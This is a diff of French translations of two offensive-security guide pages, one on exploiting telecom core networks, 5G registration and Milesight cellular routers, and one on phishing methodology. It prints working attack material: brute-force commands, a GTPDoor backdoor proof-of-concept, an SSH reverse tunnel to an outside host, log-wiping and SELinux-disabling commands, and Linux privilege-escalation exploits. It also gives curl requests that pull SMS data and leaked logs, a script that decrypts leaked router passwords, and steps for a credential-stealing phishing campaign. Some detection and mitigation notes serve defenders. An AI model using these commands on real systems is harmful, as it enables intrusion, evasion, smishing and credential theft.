diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md
index 58601802c..a4a5c8c1a 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md
@@ -1,27 +1,27 @@
-# Exploitation de réseaux télécom (GTP / environnements de roaming)
+# Exploitations des réseaux télécom (GTP / environnements roaming)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
-> Les protocoles du cœur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu'ils circulent sur UDP en clair avec presque aucune authentification, **tout point d'appui à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation cœur**. Les notes suivantes rassemblent des techniques offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et autres nœuds EPC.
+> Les protocoles du cœur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu'ils circulent sur UDP non chiffré avec presque aucune authentification, **tout point d'appui à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation du cœur**. Les notes suivantes rassemblent des astuces offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et d'autres nœuds EPC.
## 1. Recon & Initial Access
-### 1.1 Comptes OSS / NE par défaut
-Un nombre étonnamment important d'éléments réseau fournis par les vendors sont livrés avec des utilisateurs SSH/Telnet codés en dur tels que `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Un wordlist dédié augmente drastiquement le succès du brute-force:
+### 1.1 Default OSS / NE Accounts
+Un nombre étonnamment important d'éléments réseau fournisseur sont livrés avec des utilisateurs SSH/Telnet codés en dur tels que `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Une wordlist dédiée augmente considérablement le succès des attaques par brute-force :
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
-Si l'appareil n'expose qu'une VRF de management, pivot through a jump host first (voir la section «SGSN Emu Tunnel» ci-dessous).
+If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
### 1.2 Découverte d'hôtes dans GRX/IPX
-La plupart des opérateurs GRX autorisent encore les **ICMP echo** à travers le backbone. Combinez `masscan` avec les probes UDP `gtpv1` intégrées pour cartographier rapidement les listeners GTP-C :
+La plupart des opérateurs GRX autorisent encore **ICMP echo** sur le backbone. Combinez `masscan` avec les probes UDP intégrées `gtpv1` pour cartographier rapidement les GTP-C listeners :
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Énumération des abonnés – `cordscan`
-L'outil Go suivant génère des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel servant l'IMSI interrogé et, parfois, le PLMN visité de l’abonné.
+L'outil Go suivant fabrique des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel qui dessert l'IMSI interrogé et, parfois, le PLMN visité par l'abonné.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@@ -34,15 +34,15 @@ Options clés :
- `--oper` Home / HNI (MCC+MNC)
- `-w` Écrire les paquets bruts dans un pcap
-Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les scans :
+Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les scans:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
-## 3. Exécution de code via GTP – `GTPDoor`
+## 3. Exécution de code sur GTP – `GTPDoor`
-`GTPDoor` est un petit service ELF qui **écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la charge utile commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Les flux stdout/stderr sont exfiltrés à l'intérieur de messages **Echo Response** de sorte qu'aucune session sortante ne soit créée.
+`GTPDoor` est un petit service ELF qui **se lie au port UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la payload commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Le stdout/stderr sont exfiltrés à l'intérieur de messages **Echo Response** de sorte qu'aucune session sortante n'est jamais créée.
Paquet PoC minimal (Python):
```python
@@ -53,23 +53,23 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Détection :
-* tout hôte envoyant des **unbalanced Echo Requests** aux IPs SGSN
-* GTP version flag réglé sur 1 alors que message type = 1 (Echo) – déviation par rapport à la spécification
+* tout hôte envoyant des **unbalanced Echo Requests** aux adresses IP du SGSN
+* GTP version flag défini à 1 alors que message type = 1 (Echo) – déviation par rapport à la spécification
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
-`OsmoGGSN` fournit un émulateur SGSN capable de **establish a PDP context towards a real GGSN/PGW**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` accessible depuis le roaming peer.
+`OsmoGGSN` fournit un émulateur SGSN capable de **établir un PDP context vers un GGSN/PGW réel**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` joignable depuis le roaming peer.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
-Avec un firewall hair-pinning correctement configuré, ce tunnel contourne les signalling-only VLANs et vous place directement dans le **data plane**.
+Avec un hair-pinning du pare-feu correctement configuré, ce tunnel contourne les VLANs réservés à la signalisation et vous place directement dans le **plan de données**.
-### 4.2 SSH Reverse Tunnel over Port 53
-DNS est presque toujours ouvert dans les infrastructures en roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous :
+### 4.2 SSH Reverse Tunnel sur le port 53
+Le DNS est presque toujours ouvert dans les infrastructures de roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
@@ -79,13 +79,13 @@ Vérifiez que `GatewayPorts yes` est activé sur le VPS.
| Canal | Transport | Décodage | Remarques |
|---------|-----------|----------|-------|
-| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | clé de 4 octets + blocs de 14 octets (XOR) | écoute purement passive, pas de trafic sortant |
-| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encodé dans les octets d'enregistrement A | surveille le sous-domaine `*.nodep` |
-| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC dans un IE privé | se fond dans le trafic légitime GTP-C |
+| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | clé de 4 octets + blocs de 14 octets (XOR) | écouteur purement passif, aucun trafic sortant |
+| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encodé dans les octets de l'enregistrement A | surveille le sous-domaine `*.nodep` |
+| GTP – `GTPDoor` | UDP 2123 | blob chiffré AES-128-CBC dans un IE privé | se fond dans le trafic GTP légitime |
-Tous les implants implémentent des watchdogs qui **timestomp** leurs binaries et se re-spawnent en cas de crash.
+Tous les implants implémentent des watchdogs qui **timestomp** leurs binaires et se relancent s'ils plantent.
-## 6. Cheatsheet d'évasion des défenses
+## 6. Aide-mémoire pour l'évasion des défenses
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
-## 7. Privilege Escalation sur Legacy NE
+## 7. Escalade de privilèges sur les NE hérités
```bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@@ -111,64 +111,64 @@ python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
```
-Astuce de nettoyage :
+Conseil de nettoyage :
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
-## 8. Boîte à outils
+## 8. Tool Box
-* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – outils personnalisés décrits dans les sections précédentes.
-* `FScan` : balayages TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`)
+* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
+* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
-* `Microsocks` + `ProxyChains` : pivot léger SOCKS5
+* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
-## 9. Attaques d'enregistrement NAS 5G : SUCI leaks, rétrogradation vers EEA0/EIA0, et NAS replay
+## 9. 5G NAS Attaques d'enregistrement : SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
-La procédure d'enregistrement 5G s'exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu'à ce que la sécurité NAS soit activée par Security Mode Command/Complete, les messages initiaux ne sont pas authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d'attaque lorsqu'on peut observer ou altérer le trafic N2 (par exemple, on-path dans le core, rogue gNB, ou testbed).
+La procédure d'enregistrement 5G s'exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Tant que la sécurité NAS n'est pas activée par Security Mode Command/Complete, les messages initiaux ne sont pas authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d'attaque quand vous pouvez observer ou altérer le trafic N2 (par exemple, on-path à l'intérieur du core, rogue gNB, ou testbed).
-Registration flow (simplifié) :
-- Registration Request : UE envoie SUCI (SUPI chiffré) et capacités.
+Flux d'enregistrement (simplifié) :
+- Registration Request : l'UE envoie SUCI (SUPI chiffré) et ses capacités.
- Authentication : AMF/AUSF envoient RAND/AUTN ; l'UE retourne RES*.
- Security Mode Command/Complete : intégrité et chiffrement NAS sont négociés et activés.
- PDU Session Establishment : configuration IP/QoS.
-Conseils de configuration de laboratoire (non-RF) :
-- Core : un déploiement par défaut Open5GS suffit pour reproduire les flows.
-- UE : simulateur ou UE de test ; décodage avec Wireshark.
-- Outils actifs : 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
+Conseils pour le lab (non-RF) :
+- Core : un déploiement Open5GS par défaut suffit pour reproduire les flows.
+- UE : simulateur ou UE de test ; décoder avec Wireshark.
+- Active tooling : 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Filtres d'affichage utiles dans Wireshark :
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
-### 9.1 Confidentialité des identifiants : défaillances SUCI exposant SUPI/IMSI
-Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d'attache). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant un suivi persistant des abonnés.
+### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
+Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du home-network). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant le tracking persistant d'un abonné.
Comment tester :
-- Capturez le premier message NAS dans l'InitialUEMessage et inspectez le Mobile Identity IE.
-- Vérifications rapides dans Wireshark :
-- Il doit être décodé comme SUCI, pas IMSI.
-- Exemples de filtres : `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` doit exister ; l'absence de celui-ci avec la présence de `imsi` indique une fuite.
+- Capturez le premier message NAS dans InitialUEMessage et inspectez l'IE Mobile Identity.
+- Vérifications rapides avec Wireshark :
+- Il doit se décoder comme SUCI, pas comme IMSI.
+- Exemples de filtres : `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` devrait exister ; son absence avec la présence de `imsi` indique un leak.
Que collecter :
-- MCC/MNC/MSIN si exposés ; logger par UE et suivre dans le temps/les emplacements.
+- MCC/MNC/MSIN s'ils sont exposés ; consigner par UE et suivre dans le temps/les emplacements.
Atténuation :
-- Imposer des UEs/USIMs SUCI-only ; générer une alerte sur toute présence d'IMSI/SUPI dans le NAS initial.
+- Imposer des UEs/USIMs n'utilisant que SUCI ; générer une alerte pour toute présence d'IMSI/SUPI dans le NAS initial.
-### 9.2 Forçage des capacités vers des algorithmes nuls (EEA0/EIA0)
+### 9.2 Bidding-down des capabilities vers des algorithmes nuls (EEA0/EIA0)
Contexte :
-- L'UE annonce les EEA (chiffrement) et EIA (intégrité) supportés dans le UE Security Capability IE de la Registration Request.
+- L'UE annonce les EEA (chiffrement) et EIA (intégrité) supportés dans l'IE UE Security Capability de la Registration Request.
- Mappings courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes nuls.
Problème :
-- Parce que la Registration Request n'est pas protégée en intégrité, un attaquant on-path peut effacer des bits de capacité pour contraindre la sélection d'EEA0/EIA0 plus tard lors du Security Mode Command. Certaines stacks autorisent incorrectement des algorithmes nuls hors des services d'urgence.
+- Parce que la Registration Request n'est pas protégée par intégrité, un attaquant on-path peut effacer des bits de capability pour forcer la sélection de EEA0/EIA0 plus tard lors du Security Mode Command. Certains stacks permettent incorrectement des algorithmes nuls en dehors des services d'urgence.
Étapes offensives :
-- Interceptez l'InitialUEMessage et modifiez le NAS UE Security Capability pour n'annoncer que EEA0/EIA0.
-- Avec Sni5Gect, hookez le message NAS et patcher les bits de capacité avant de le relayer.
-- Observez si l'AMF accepte des chiffrement/integrité nuls et complète le Security Mode avec EEA0/EIA0.
+- Intercepter InitialUEMessage et modifier l'UE Security Capability NAS pour n'annoncer que EEA0/EIA0.
+- Avec Sni5Gect, interceptez le message NAS et modifiez les bits de capability avant de le transmettre.
+- Observer si l'AMF accepte des chiffrements/intégrité nuls et termine le Security Mode avec EEA0/EIA0.
Vérification/visibilité :
- Dans Wireshark, confirmez les algorithmes sélectionnés après Security Mode Command/Complete.
@@ -178,14 +178,14 @@ Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
-Mesures d'atténuation (obligatoires) :
-- Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement requis (p.ex., appels d'urgence).
-- Préférer l'application d'EEA2/EIA2 au minimum ; journaliser et déclencher des alertes sur tout contexte de sécurité NAS qui négocie des algorithmes nuls.
+Atténuations (obligatoires) :
+- Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement requis (par ex., appels d'urgence).
+- Privilégier l'application d'EEA2/EIA2 au minimum ; consigner et alerter sur tout contexte de sécurité NAS qui négocie des algorithmes nuls.
-### 9.3 Rejeu de la Registration Request initiale (NAS non sécurisé)
-Parce que le NAS initial ne garantit pas intégrité ni fraîcheur, un InitialUEMessage+Registration Request capturé peut être rejoué à l'AMF.
+### 9.3 Rejeu de la Registration Request initiale (NAS pré-sécurité)
+Parce que le NAS initial manque d'intégrité et de fraîcheur, un InitialUEMessage+Registration Request capturé peut être rejoué vers l'AMF.
-PoC rule for 5GReplay to forward matching replays:
+Règle PoC pour 5GReplay afin de transférer les replays correspondants :
```xml
```
-À observer :
-- Si l'AMF accepte le replay et passe à l'Authentication ; l'absence de validation de fraîcheur/contexte indique une exposition.
+What to observe:
+- Si l'AMF accepte le replay et poursuit vers Authentication ; l'absence de validation de fraîcheur/contexte indique une exposition.
-Mitigations :
-- Appliquer une protection contre le replay et le binding de contexte au niveau de l'AMF ; limiter le débit et corréler par GNB/UE.
+Mitigations:
+- Appliquer une protection contre le replay / binding de contexte sur l'AMF ; rate-limit et corréler par gNB/UE.
-### 9.4 Conseils d'outillage (reproductible)
-- Open5GS : déployer un AMF/SMF/UPF pour émuler le core ; observer N2 (NGAP) et NAS.
-- Wireshark : vérifier les décodages de NGAP/NAS ; appliquer les filtres ci‑dessus pour isoler la Registration.
-- 5GReplay : capturer une Registration, puis rejouer des messages NGAP + NAS spécifiques conformément à la règle.
-- Sni5Gect : sniff/modify/inject en direct le plan de contrôle NAS pour contraindre des algorithmes null ou perturber les séquences d'Authentication.
+### 9.4 Tooling pointers (reproducible)
+- Open5GS: déployer un AMF/SMF/UPF pour émuler le core ; observer N2 (NGAP) et NAS.
+- Wireshark: vérifier le décodage de NGAP/NAS ; appliquer les filtres ci‑dessus pour isoler la Registration.
+- 5GReplay: capturer une registration, puis replay certains messages NGAP + NAS selon la règle.
+- Sni5Gect: live sniff/modify/inject le control-plane NAS pour forcer des null algorithms ou perturber les séquences d'authentication.
-### 9.5 Checklist défensive
-- Inspecter en continu les Registration Request à la recherche de SUPI/IMSI en clair ; bloquer les appareils/USIMs fautifs.
-- Rejeter EEA0/EIA0 sauf procédures d'urgence strictement définies ; exiger au minimum EEA2/EIA2.
-- Détecter l'infrastructure rogue ou mal configurée : gNB/AMF non autorisés, pairs N2 inattendus.
-- Alerter sur les modes de sécurité NAS qui aboutissent à des algorithmes null ou à des replays fréquents d'InitialUEMessage.
+### 9.5 Defensive checklist
+- Inspecter en continu les Registration Request à la recherche de SUPI/IMSI en clair ; bloquer les dispositifs/USIMs incriminés.
+- Rejeter EEA0/EIA0 sauf pour des procédures d'urgence strictement définies ; exiger au minimum EEA2/EIA2.
+- Détecter l'infrastructure rogue ou mal configurée : gNB/AMF non autorisés, peers N2 inattendus.
+- Alerter sur les modes de sécurité NAS qui aboutissent à null algorithms ou à des replays fréquents d'InitialUEMessage.
---
+
+## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
+
+L'abus des API web exposées des routeurs cellulaires industriels permet des campagnes de smishing furtives paraissant provenir de l'opérateur à grande échelle. Les routeurs Milesight série UR exposent un endpoint de type JSON-RPC à `/cgi`. Lorsqu'elle est mal configurée, l'API peut être interrogée sans authentification pour lister l'inbox/outbox SMS et, dans certains déploiements, pour envoyer des SMS.
+
+Typical unauthenticated requests (same structure for inbox/outbox):
+```http
+POST /cgi HTTP/1.1
+Host:
+Content-Type: application/json
+
+{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
+```
+
+```json
+{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
+```
+Les réponses incluent des champs tels que `timestamp`, `content`, `phone_number` (E.164), et `status` (`success` ou `failed`). Des envois répétés ayant pour `status` `failed` vers le même numéro sont souvent des « vérifications de capacité » de l'attaquant pour valider qu'un routeur/SIM peut délivrer avant un envoi massif.
+
+Exemple de commande curl pour exfiltrer les métadonnées SMS :
+```bash
+curl -sk -X POST http:///cgi \
+-H 'Content-Type: application/json' \
+-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
+```
+Notes sur les auth artifacts :
+- Une partie du trafic peut inclure un auth cookie, mais une grande proportion des appareils exposés répondent sans aucune authentication aux `query_inbox`/`query_outbox` lorsque l'interface de gestion est exposée sur Internet.
+- Dans les environnements nécessitant une auth, les previously-leaked credentials (voir ci‑dessous) restaurent l'accès.
+
+Chemin de récupération des credentials – CVE-2023-43261 :
+- Familles affectées : UR5X, UR32L, UR32, UR35, UR41 (pré v35.3.0.7).
+- Problème : les web-served logs (par ex. `httpd.log`) sont accessibles de façon unauthenticated sous `/lang/log/` et contiennent des événements de login admin avec le mot de passe chiffré à l'aide d'une clé/IV AES hardcodée présente dans le client-side JavaScript.
+- Accès pratique et déchiffrement :
+```bash
+curl -sk http:///lang/log/httpd.log | sed -n '1,200p'
+# Look for entries like: {"username":"admin","password":""}
+```
+Exemple minimal en Python pour déchiffrer des passwords leaked (AES-128-CBC, clé/IV hardcoded) :
+```python
+import base64
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import unpad
+KEY=b'1111111111111111'; IV=b'2222222222222222'
+enc_b64='...' # value from httpd.log
+print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
+```
+Hunting and detection ideas (network) :
+- Déclencher une alerte sur un `POST /cgi` non authentifié dont le corps JSON contient `base`/`function` défini sur `query_inbox` ou `query_outbox`.
+- Suivre les rafales répétées de `POST /cgi` suivies d'entrées `status":"failed"` affectant de nombreux numéros uniques depuis la même IP source (tests de capacité).
+- Inventorier les routeurs Milesight exposés sur Internet ; restreindre la gestion au VPN ; désactiver les fonctionnalités SMS sauf si nécessaires ; mettre à jour vers ≥ v35.3.0.7 ; changer les identifiants et vérifier les logs SMS pour des envois inconnus.
+
+Shodan/OSINT pivots (exemples observés sur le terrain) :
+- `http.html:"rt_title"` correspond aux panneaux des routeurs Milesight.
+- Google dorking pour trouver des logs exposés : `"/lang/log/system" ext:log`.
+
+Impact opérationnel : l'utilisation de SIMs d'opérateurs légitimes dans les routeurs offre une très haute délivrabilité/crédibilité des SMS pour le phishing, tandis que l'exposition des inbox/outbox divulgue des métadonnées sensibles à grande échelle.
+
+---
+
## Idées de détection
1. **Tout appareil autre qu'un SGSN/GGSN établissant des Create PDP Context Requests**.
-2. **Ports non standard (53, 80, 443) recevant des SSH handshakes** depuis des IP internes.
-3. **Echo Requests fréquentes sans Echo Responses correspondantes** – peut indiquer des beacons GTPDoor.
-4. **Taux élevé de trafic ICMP echo-reply avec de grands champs identifier/sequence non nuls**.
-5. 5G : **InitialUEMessage contenant des NAS Registration Requests répétés depuis des endpoints identiques** (signal de replay).
+2. **Ports non standards (53, 80, 443) recevant des SSH handshakes** depuis des IP internes.
+3. **Requêtes Echo fréquentes sans Echo Responses correspondantes** – peut indiquer des beacons GTPDoor.
+4. **Taux élevé de trafic ICMP echo-reply avec des champs identifier/sequence importants et non nuls**.
+5. 5G : **InitialUEMessage transportant des NAS Registration Requests répétés depuis des endpoints identiques** (replay signal).
6. 5G : **NAS Security Mode négociant EEA0/EIA0** en dehors de contextes d'urgence.
## Références
@@ -243,5 +302,8 @@ Mitigations :
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
+- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
+- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
+- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md
index 5a5abaaee..437a1c962 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/README.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md
@@ -4,47 +4,47 @@
## Méthodologie
-1. Recon la victime
-1. Sélectionnez le **domaine de la victime**.
-2. Effectuez une énumération web basique **en recherchant des portails de connexion** utilisés par la victime et **décidez** lequel vous allez **usurper**.
-3. Utilisez de l'**OSINT** pour **trouver des emails**.
-2. Préparez l'environnement
-1. **Achetez le domaine** que vous allez utiliser pour l'évaluation de phishing
-2. **Configurez les enregistrements** du service email (SPF, DMARC, DKIM, rDNS)
-3. Configurez le VPS avec **gophish**
-3. Préparez la campagne
-1. Préparez le **modèle d'email**
-2. Préparez la **page web** pour voler les identifiants
-4. Lancez la campagne !
+1. Recon the victim
+1. Select the **domaine de la victime**.
+2. Perform some basic web enumeration **searching for login portals** used by the victim and **decide** which one you will **impersonate**.
+3. Use some **OSINT** to **find emails**.
+2. Prepare the environment
+1. **Buy the domain** you are going to use for the phishing assessment
+2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS)
+3. Configure the VPS with **gophish**
+3. Prepare the campaign
+1. Prepare the **email template**
+2. Prepare the **web page** to steal the credentials
+4. Launch the campaign!
-## Générer des noms de domaine similaires ou acheter un domaine de confiance
+## Générez des noms de domaine similaires ou achetez un domaine de confiance
### Techniques de variation de nom de domaine
-- **Mot-clé** : Le nom de domaine **contient** un **mot-clé** important du domaine original (p.ex., zelster.com-management.com).
-- **Sous-domaine avec tiret** : Remplacez le **point par un tiret** d'un sous-domaine (p.ex., www-zelster.com).
-- **Nouveau TLD** : Même domaine utilisant un **nouveau TLD** (p.ex., zelster.org)
-- **Homoglyph** : Il **remplace** une lettre dans le nom de domaine par des **lettres qui ressemblent** (p.ex., zelfser.com).
+- **Mot-clé**: Le nom de domaine **contient** un **mot-clé** important du domaine original (ex. zelster.com-management.com).
+- **Sous-domaine avec tiret**: Remplacez le **point par un tiret** du sous-domaine (ex. www-zelster.com).
+- **New TLD**: Même domaine utilisant un **nouveau TLD** (ex. zelster.org)
+- **Homoglyph**: Il **remplace** une lettre dans le nom de domaine par des **lettres qui ressemblent** (ex. zelfser.com).
{{#ref}}
homograph-attacks.md
{{#endref}}
-- **Transposition:** Il **échange deux lettres** à l'intérieur du nom de domaine (p.ex., zelsetr.com).
-- **Singularization/Pluralization**: Ajoute ou supprime un “s” à la fin du nom de domaine (p.ex., zeltsers.com).
-- **Omission**: Il **supprime une** des lettres du nom de domaine (p.ex., zelser.com).
-- **Repetition:** Il **répète une** des lettres du nom de domaine (p.ex., zeltsser.com).
-- **Replacement**: Comme homoglyph mais moins discret. Il remplace une des lettres du nom de domaine, peut‑être par une lettre proche sur le clavier (p.ex., zektser.com).
-- **Subdomained**: Introduire un **point** à l'intérieur du nom de domaine (p.ex., ze.lster.com).
-- **Insertion**: Il **insère une lettre** dans le nom de domaine (p.ex., zerltser.com).
-- **Missing dot**: Ajouter le TLD à la suite du nom de domaine. (p.ex., zelstercom.com)
+- **Transposition:** Il **échange deux lettres** au sein du nom de domaine (ex. zelsetr.com).
+- **Singularization/Pluralization**: Ajoute ou enlève un “s” à la fin du nom de domaine (ex. zeltsers.com).
+- **Omission**: Il **supprime une** des lettres du nom de domaine (ex. zelser.com).
+- **Repetition:** Il **répète une** des lettres du nom de domaine (ex. zeltsser.com).
+- **Replacement**: Comme homoglyph mais moins discret. Il remplace une des lettres du nom de domaine, peut-être par une lettre située à proximité sur le clavier (ex. zektser.com).
+- **Subdomained**: Introduire un **point** à l'intérieur du nom de domaine (ex. ze.lster.com).
+- **Insertion**: Il **insère une lettre** dans le nom de domaine (ex. zerltser.com).
+- **Missing dot**: Ajouter la TLD au nom de domaine. (ex. zelstercom.com)
-**Outils automatiques**
+**Automatic Tools**
- [**dnstwist**](https://github.com/elceef/dnstwist)
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
-**Sites web**
+**Websites**
- [https://dnstwist.it/](https://dnstwist.it)
- [https://dnstwister.report/](https://dnstwister.report)
@@ -52,25 +52,25 @@ homograph-attacks.md
### Bitflipping
-Il existe une **possibilité que des bits stockés ou en communication soient automatiquement inversés** en raison de divers facteurs comme les éruptions solaires, les rayons cosmiques ou des erreurs matérielles.
+There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors.
-Quand ce concept est **appliqué aux requêtes DNS**, il est possible que le **domaine reçu par le serveur DNS** ne soit pas le même que le domaine initialement demandé.
+When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested.
-Par exemple, une modification d'un seul bit dans le domaine "windows.com" peut le transformer en "windnws.com."
+For example, a single bit modification in the domain "windows.com" can change it to "windnws.com."
-Les attaquants peuvent **tirer parti de cela en enregistrant plusieurs domaines sujets au bit-flipping** similaires au domaine de la victime. Leur intention est de rediriger des utilisateurs légitimes vers leur propre infrastructure.
+Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure.
-Pour plus d'informations, lisez [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
+For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Acheter un domaine de confiance
-Vous pouvez rechercher sur [https://www.expireddomains.net/](https://www.expireddomains.net) un domaine expiré que vous pourriez utiliser.\
-Afin de vous assurer que le domaine expiré que vous allez acheter **possède déjà un bon SEO**, vous pouvez vérifier comment il est catégorisé sur :
+You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\
+In order to make sure that the expired domain that you are going to buy **has already a good SEO** you could search how is it categorized in:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
-## Découverte des emails
+## Découverte d'emails
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
